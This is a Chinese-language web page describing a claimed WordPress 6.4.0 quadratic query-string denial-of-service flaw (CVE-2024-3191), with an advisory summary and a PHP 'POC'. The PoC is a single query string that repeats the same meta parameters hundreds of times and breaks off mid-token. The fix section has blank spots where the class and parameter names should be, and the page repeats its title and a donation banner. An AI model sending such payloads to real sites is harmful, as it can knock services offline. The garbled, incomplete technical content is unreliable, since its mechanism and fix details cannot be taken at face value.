WordPress 6.4.0 二次查询滥用DoS漏洞(CVE-2024-3191)及POC

漏洞概述 漏洞名称: 防止二次查询滥用（Prevent quadratic query string abuse） 漏洞编号: CVE-2024-3191 漏洞类型: 拒绝服务（DoS） 漏洞描述: 该漏洞允许攻击者通过构造特定的查询字符串，导致WordPress核心在处理查询时产生二次方复杂度的计算，从而引发拒绝服务攻击。 影响范围 受影响版本: WordPress 6.4.0 及更早版本 修复版本: WordPress 6.4.1 修复方案 修复方法: 更新到WordPress 6.4.1或更高版本。 修复内容: 在 类中添加了新的参数 ，默认值为 ，用于防止二次查询滥用。 POC代码或利用代码 ```php // 示例POC代码 <?php // 构造恶意查询字符串 $query_string = 's=1&post_type=1&post_status=1&paged=1&posts_per_page=1&orderby=1&order=1&meta_key=1&meta_value=1&meta_compare=1&meta_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&meta_value_num=1&meta_value_type=1&met

目标达成感谢每一位支持者 — 我们达成了 100% 目标！

WordPress 6.4.0 二次查询滥用DoS漏洞(CVE-2024-3191)及POC

同源更多文章

目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

WordPress 6.4.0 二次查询滥用DoS漏洞(CVE-2024-3191)及POC

同源更多文章

目标达成感谢每一位支持者 — 我们达成了 100% 目标！